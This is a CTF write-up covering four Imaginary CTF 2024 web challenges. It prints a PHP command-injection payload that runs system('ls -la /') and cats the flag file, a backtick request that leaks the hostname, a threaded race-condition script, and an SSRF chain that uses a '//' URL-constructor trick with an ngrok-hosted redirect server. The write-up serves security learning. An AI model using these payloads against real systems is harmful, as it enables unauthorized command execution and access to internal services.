Contents

Imaginary CTF 2024

Imaginary 2024 writeups

Journal

Simple PHP application.
The following code can be used for code execution '.system('<your command>').'

Since the flag contains randomly generated numbers, we print all the files in the root (we know the flag is there from the Dockerfile) ls -la /.

This reveals the flag name flag-cARdaInFg6dD10uWQQgm.txt
Request URL: http://journal.chal.imaginaryctf.org/?file='.system('ls -la /').'

https://i.imgur.com/2f0ejVR.png

Now we can cat out the flag.
Request URL: http://journal.chal.imaginaryctf.org/?file='.system('cat /flag-cARdaInFg6dD10uWQQgm.txt').'

https://i.imgur.com/gKjtAf0.png

Flag: ictf{assertion_failed_e3106922feb13b10}

Crystals (ruby sinatra)

This challenge needed to be solved by getting the hostname, this could be seen in the docker-compose.yml file.

version: '3.3'
services:
	deployment:
		hostname: $FLAG
		build: .
		ports:
			- 10001:80

The hostname is shown if a request is send with a backtick ` after the default request.
Normal: GET / HTTP/1.1
Shows flag:GET /` HTTP/1.1

https://i.imgur.com/tFqIcdc.png

The amazing race

The challenge is only available via the URL http://the-amazing-race.chal.imaginaryctf.org/ but the source code is available.

As the name suggest, this is a race condition. This can also be verified in the source code, since there is no locking mechanism.

My solution can probably be solved fully automated (and be a LOT more efficient), but I made a few changes to my script when I was stuck in the maze. This was faster then fully automating it at the time.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import threading

maze_id = "d716edab-bed1-4b54-89fd-a971bcca084b"

# Base URL for the move endpoint
url = f"http://the-amazing-race.chal.imaginaryctf.org/move"

# Function to send move requests
def move(direction):
    params = {'id': maze_id, 'move': direction}
    headers = {'Content-Length': '11'}
    data = f'{direction}={direction}'
    response = requests.post(url, params=params, headers=headers, data=data)
    print(f"Moved {direction}: {response.url}")

# Directions to move
directions = ['left', 'down', 'right', 'right', 'right', 'right', 'right', 'right', 'right']

# Create and start threads for concurrent requests
for _ in range(10):
    threads = []
    for direction in directions:
        t = threading.Thread(target=move, args=(direction,))
        threads.append(t)
        t.start()

    # Wait for all threads to complete
    for t in threads:
        t.join()

After running it a few times, I was moving.
https://i.imgur.com/OpmxhTC.png

https://i.imgur.com/s2FMYYt.png

After doing that a few more times I got the flag! (don’t have the screenshot at hand right now)

Readme2

This challenge took by far most of my time. I tried many things such as bruteforcing all characters to look for anomalies and research online.

Challenge code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const flag = process.env.FLAG || 'ictf{this_is_a_fake_flag}'

Bun.serve({
	async fetch(req) {
		const url = new URL(req.url)
		if (url.pathname === '/') return new Response('Hello, World!')
		if (url.pathname.startsWith('/flag.txt')) return new Response(flag)
		return new Response(`404 Not Found: ${url.pathname}`, { status: 404 })
	},
	port: 3000
})
Bun.serve({
	async fetch(req) {
		if (req.url.includes('flag')) return new Response('Nope', { status: 403 })
		const headerContainsFlag = [...req.headers.entries()].some(([k, v]) => k.includes('flag') || v.includes('flag'))
		if (headerContainsFlag) return new Response('Nope', { status: 403 })
		const url = new URL(req.url)
		if (url.href.includes('flag')) return new Response('Nope', { status: 403 })
		return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
			method: req.method,
			headers: req.headers,
			body: req.body
		})
	},
	port: 4000 // only this port are exposed to the public
})

There are 2 servers, and certain checks need to be passed, but eventually we want to pass the following check: if (url.pathname.startsWith('/flag.txt')) return new Response(flag)

The Mozilla developer docs contains much information about the functionality of the URL constructor https://developer.mozilla.org/en-US/docs/Web/API/URL/URL . On the bottom of the page the following section can be found:
https://i.imgur.com/7Zziu2g.png

The //foo.com is where our input ends up

1
new URL(url.pathname + url.search, 'http://localhost:3000/'

To test if this works I did two tests:

Test 1: normal behaviour

1
2
3
4
const url = "/vulnerable";
const base = "https://test.org/";
const constructorResult = new URL(url, base);
console.log(constructorResult.href);

Output


DuxSec@hi$ bun run main.js 
https://test.org/vulnerable

Test 2: vulnerable behaviour

note the two // instead of one / at const url =

1
2
3
4
const url = "//vulnerable";
const base = "https://test.org/";
const constructorResult = new URL(url, base);
console.log(constructorResult.href);

Output


DuxSec@hi$ bun run main.js
https://vulnerable/

Flask

Now we know that we can make the fetch request go to any URL we desire. For this I created a simple python Flask server, which sends a redirects to the server that contains the flag.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import os
from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def hello():
    return redirect("http://127.0.0.1:3000/flag.txt", code=302)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

I hosted this Flask server via NGROK ngrok tcp 127.0.0.1:5000. This is needed so the online challenge website can reach it.
https://i.imgur.com/vif5HSz.png

And the final request shows the flag http://readme2.chal.imaginaryctf.org///6.tcp.eu.ngrok.io:14537

https://i.imgur.com/xGLuELC.png
Flag: ictf{just_a_funny_bug_in_bun_http_handling}